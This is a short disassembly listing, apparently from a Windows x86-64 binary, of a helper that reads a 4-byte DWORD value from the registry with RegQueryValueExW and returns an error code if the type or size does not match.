lea r8, [rsp + 0x38]
mov dword [r8], eax
lea rax, [rsp + 0x34]
mov dword [rax], 0
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140047819
mov eax, dword [rsp + 0x3c]
add eax, 0xfffffffd
mov edi, 0x3f4
cmp eax, 1
ja 0x140047803
cmp dword [rsp + 0x38], 4
jne 0x140047803
mov eax, dword [rsp + 0x34]
mov dword [rsi], eax
xor edi, edi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400988d0
mov eax, edi
add rsp, 0x48
pop rdi
pop rsi
ret
mov edi, eax
jmp 0x140047803